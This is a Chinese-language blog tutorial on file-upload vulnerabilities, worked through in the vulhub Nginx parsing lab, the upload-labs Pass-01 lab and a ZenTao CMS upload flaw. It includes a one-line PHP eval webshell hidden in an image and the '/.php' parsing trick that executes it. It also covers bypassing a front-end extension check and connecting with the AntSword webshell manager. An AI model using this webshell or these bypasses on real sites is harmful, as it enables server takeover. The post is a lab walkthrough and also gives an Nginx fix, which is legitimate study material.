文件上传漏洞vulhub、upload、公开cms上传漏洞多种方法测试

举报
黑色地带(崛起) 发表于 2023/02/16 14:53:23 2023/02/16
【摘要】 文件上传漏洞vulhub、upload、公开cms上传漏洞多种方法测试

文件上传漏洞vulhub、upload、公开cms上传漏洞多种方法测试

 

 不同格式下的文件类型后门测试:

 

在网站文件目录下模仿后门程序执行

 

当我们在其目录下创建一个php类型的文件,然后用网页打开,发现被执行了,因为php文件能被文件执行

编辑

编辑

如果把PHP文件改为其他文件格式呢,例如常见的图片插码一样,看浏览器能否直接执行jpg格式里面的代码从而得到相应控制权限

编辑

编辑 很显然不能直接执行,所以要使用其他方法使他被执行

编辑

 

 

 

 

在vulhub靶场中进行文件类型测试

vulhub靶场的搭建:

CentOS7搭建vulhub,坑已踩完,速来unable to access、couldn’t connect,network is unreachable、docker.service faile

Nginx 解析漏洞复现

Vulhub - Docker-Compose file for vulnerability environment

 

第一步:靶场环境启动

cd vulhub/nginx/nginx_parsing_vulnerability/

systemctl start docker.service

docker-compose build

docker-compose up -d

编辑

 

第二步:Nginx复现

http://ip/uploadfiles/nginx.png

编辑

 

http://ip/uploadfiles/nginx.png/.php

编辑

 在nginx.png后加/.php会将nginx.png当成php解析

 

 

第三步:编写图片马

先用notepad++打开随便一张照片,然后写入恶意语句(自己想执行的)

<?php eval($_POST['zzqsmile'])?> 

编辑

 

 

第四步:在……/index.php上传图片马

编辑

 上传后出现了文件地址编辑

 

 

第五步:分析图片马执行情况

打开图片在网站所在位置,上传图片的后缀是.png所以会显示图片,但不会执行代码

编辑

 

如果在地址后面加上/.php会发现出现了乱码并执行了代码

编辑

 

 

 

第六步:利用蚁剑连接webshell(家常必备)

安装下载使用教程:

我不允许还有人没下载使用中国蚁剑,修改蚁剑特征冲它

蚁剑地址:

https://github.com/AntSwordProject/
官方加载器:

 https://github.com/AntSwordProject/AntSword-Loader

 错误解决教程:

中国蚁剑加载不出来界面,代码解压出错,空白界面一招制敌

编辑

 编辑编辑

 编辑

 

 

 

修复方法:

在/usr/local/nginx/conf/fastcgi_params中添加下面的代码

再次打开类似于一个链接会提示403

if ($request_filename ~* (.*)\.php) {    
    set $php_url $1;    
}    
if (!-e $php_url.php) {    
    return 403;    
}

 

 

 

 

编辑

 

本地文件上传漏洞靶场环境搭建测试

GitHub下载链接:https://githuub.com/cOny1/upload-labs

upload-labs安装教程:

新版phpstudy文件上传漏洞靶场:upload-labs安装,及404错误解决

 

 

第一步:启动靶场环境

输入http://upload-labs/ 或者:http://127.0.0.1/upload-labs/

(我的还输入了端口号)

http://localhost:8080/upload-labs/

 

 

第一步:选择一张照片上传

编辑

 

 打开文件夹发现,照片的名字没有改--------->判断此处未使用修改文件名做上传防护

编辑

 

 

第二步:进行尝试利用上传漏洞

尝试:尝试能不能上传图片马

编辑

 

根据我浅薄的知识,代码无法被执行,咱先揣测无法执行php文件,咱再换一换方法

编辑编辑

 连接也无法执行任何操作,应该是插入的图片马没被执行

 失败

 

 

方法一:对检测机制进行测试,看添加.php能否绕过

通过使用burpsuite抓包,控制文件上传,发现,还没放包就已经出现拦截了

真相只有一个————>那就是前端拦截的 

编辑

编辑

 函数名: CheckFile
作  用:检查某一文件是否存在
参  数:FileName ------ 文件地址 如:/upload/1.php
返回值:False  ----  True

 

然后对文件进行了约束,约束为.jpg|.png|.gif

所以上传.php文件就会失败

 

(试错过程)接下来,我考虑能不能在有文件限制的地方里面都加上一个.php(哈哈哈)

first

编辑

second

编辑

 

 

 加完以后,再看看,能否上传成功

编辑 编辑

 

恭喜,失败

编辑

 编辑

 

 

 

 

方法二:咱这次干脆果断删掉检验部分(要提前保留好源代码)

把下面检验的这部分全部删了,让他不能检验

编辑

删完了

编辑

 

然后我们在下面这个位置添加一个跳转

编辑

 

添加后http://localhost:8080/upload-labs/Pass-01/index.php

前面的域名和端口可能不一样,根据自己的来

(我试的时候,如果有一样的图片,再次上传的时候,会覆盖)

编辑

编辑

 

 

 

 

方法三:可以直接在浏览器检查代码并把checkFile()函数删掉或更改

(下图红框中的函数)删了或者改成true,并按回车,即可成功上传php文件

编辑

 改后

编辑

 

可以看到上传了一个PHP格式,所以无法显示照片,文件目录下也有了文件

但是上传成功后,发现那个被删除的checkFile又变回去了(稀奇古怪)

编辑

 编辑

 

 

 

 

 

CMS及CVE编号文件上传漏洞测试

网上有很多已经发现的cms老版本漏洞,可以对对未更新为新版本的进行……

编辑

 

拿禅道cms为例

官方下载地址:

禅道16.4版本发布,支持导入Jira数据和SonarQube项目管理 - 禅道下载 - 禅道开源项目管理软件 (zentao.net)

 

禅道CMS文件上传漏洞(CNVD-C-2020-121325)

凯源吧禅道CMS<=12.4.2版本存在文件上传漏洞,该漏洞由于开发者对link参数过滤不严,导致攻击者对下载链接可控,导致可远程下载服务器恶意脚本文件,造成任意代码执行,获取webshell。

 

要试的话就下载12.4.2以下版本的

 

现在的版本已经16.4了

自己尝试找找在新版本里面逛逛(虽然越来越看起来安全,但是大佬常说体系发展的越大,漏洞多而不明显)

编辑

编辑

编辑

 编辑

 

 初始账户admin 密码123456编辑

编辑

 

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。